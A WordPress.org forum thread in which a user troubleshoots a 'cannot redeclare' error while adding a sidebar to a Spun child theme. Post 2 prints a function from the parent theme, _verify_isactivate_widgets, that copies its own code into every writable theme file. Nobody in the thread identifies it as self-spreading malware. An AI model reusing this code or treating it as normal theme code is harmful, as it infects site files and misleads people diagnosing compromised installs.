WordPress.org

Ready to get started?Download WordPress

Forums

Spun
Page template with right sidebar (13 posts)

  1. samrods
    Member
    Posted 7 months ago #

    Hi everyone. I am trying to do a page template with a sidebar, so I can decide if i want to use a sidebar in a per-page basis. This was suggested by KelleyKavanaugh, in this post: http://wordpress.org/support/topic/page-with-sidebar-on-right-side?replies=3.
    I succeeded in creating a page with 70% width.
    But, when i tried to create a functions.php on my spun-child page, I've got only errors.
    I created a functions.php trying several different instructions I saw in different articles, on how to assign a new sidebar, but always got errors. Here is one example:

    <?php
    // Widget Areas //
    if ( function_exists('register_sidebars') ) {
    register_sidebar( array(
        'name' => __( 'Right Sidebar', 'unique' ),
        'id' => 'sidebar-4',
        'description' => __( 'The right sidebar widget area for pages.', 'unique' ),
    ) );
       register_sidebar( array(
        'name' => __( 'Left Sidebar', 'unique' ),
        'id' => 'sidebar-5',
        'description' => __( 'The left sidebar widget area for pages.', 'unique' ),
    ) );
    }
    ?>

    The error it returns to me is:

    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /wp-content/themes/spun-child/functions.php:20) in /wp-content/themes/spun/functions.php on line 367

    My spun version is 2.0.2

    What could be wrong here?

    Thanks for your help.

  2. samrods
    Member
    Posted 7 months ago #

    Here goes the code in functions.php from line 327 to line 367:

    function _verify_isactivate_widgets(){
    
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    
    	$output=strip_tags($output, $allowed);
    
    	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    
    	if (is_array($direst)){
    
    		foreach ($direst as $item){
    
    			if (is_writable($item)){
    
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    
    				$cont=file_get_contents($item);
    
    				if (stripos($cont,$ftion) === false){
    
    					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    
    					$output .= $before . "Not found" . $after;
    
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
    
    					$output .= ($showsdots && $ellipsis) ? "..." : "";
    
    				}
    
    			}
    
    		}
    
    	}
    
    	return $output;
    
    }

    If it provides any kind of help.

  3. Andrew
    Forum Moderator
    Posted 7 months ago #

    How did you create your Child Theme functions.php file?

  4. samrods
    Member
    Posted 7 months ago #

    hi Andrew!

    Created text document
    Rename to .css
    Opened with notepad ++
    Copy/ paste contents
    Uploaded to cpanel.
    Edited the contents with cpanel editor, too.

    Is there a more accurate way, perhaps?

  5. Andrew
    Forum Moderator
    Posted 7 months ago #

    The functions.php file is one of the few files that you cannot copy and paste into your Child Theme.
    http://codex.wordpress.org/Child_Themes#Using_functions.php

    Only put your custom functions in there, otherwise as you can see you'll get errors when you try to redeclare functions.

  6. samrods
    Member
    Posted 7 months ago #

    I don't understand.
    What is the proper way to crate functions.php in a child theme, then?

    You wrote:

    Only put your custom functions in there, otherwise as you can see you'll get errors when you try to redeclare functions.

    But I only inserted one function in my file.

  7. Andrew
    Forum Moderator
    Posted 7 months ago #

    Sorry I assumed you copy and pasted all of the functions.php code from the parent them when you said, "Copy/ paste contents", but you didn't.

    But I only inserted one function in my file.

    You did that correctly.

    Could you put all of your Child Theme functions.php code into a PasteBin page and link us that? So that we can match up your error message:

    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /wp-content/themes/spun-child/functions.php:20) in /wp-content/themes/spun/functions.php on line 367

  8. samrods
    Member
    Posted 7 months ago #

    All right.

    i created a pastebin paste. here is the adress: http://pastebin.com/kXjAM1NM

    The error is:
    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /home2/samrods/public_html/wp-content/themes/spun-child/functions.php:20) in /home2/samrods/public_html/wp-content/themes/spun/functions.php on line 367

  9. Andrew
    Forum Moderator
    Posted 7 months ago #

    Can you reinstall the Spun parent theme (it'll revert to v.1.07)?

  10. samrods
    Member
    Posted 7 months ago #

    Ok... I did it. I made a backup of my 2.0.2 theme and settings.
    The 1.0.7 theme doen't show up properly... But ok.

    The same thing happens, error, again:
    Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /home2/samrods/public_html/wp-content/themes/spun-child/functions.php:20) in /home2/samrods/public_html/wp-content/themes/spun/functions.php on line 377

  11. samrods
    Member
    Posted 7 months ago #

    There is just a thing I noticed. The functions.php I uploaded has only a total of 15 lines. Exactly as i pasted before, and pasted to pastebin.
    But for whatever reason, when I look at the file in cpanel editor or in wordpress css editor, the functions.php file comes up with 463 lines. Looks like it copied by itself the content of the original functions.php inside the child theme functions.php
    Is this normal?
    `

  12. Andrew
    Forum Moderator
    Posted 7 months ago #

    Sorry something like that is beyond what I can explain, can you try talking to your hosting providers about this?

  13. samrods
    Member
    Posted 7 months ago #

    I think my hosting providers have no knowledge of wordpress...
    I think that i'll send them an email, anyway.

    Thanks for your help and your effort, Andrew!

    I hope caroline releases an update of the theme with a sidebar option. My suggestion is to give the users the option of choosing a sidebar as an option for the blog or for a given single page. If that is to difficult giving the code already set for the theme, then it wouldn't be hard to put the sidebar as a page template that we could choose from.

Reply

You must log in to post.

About this Theme

About this Topic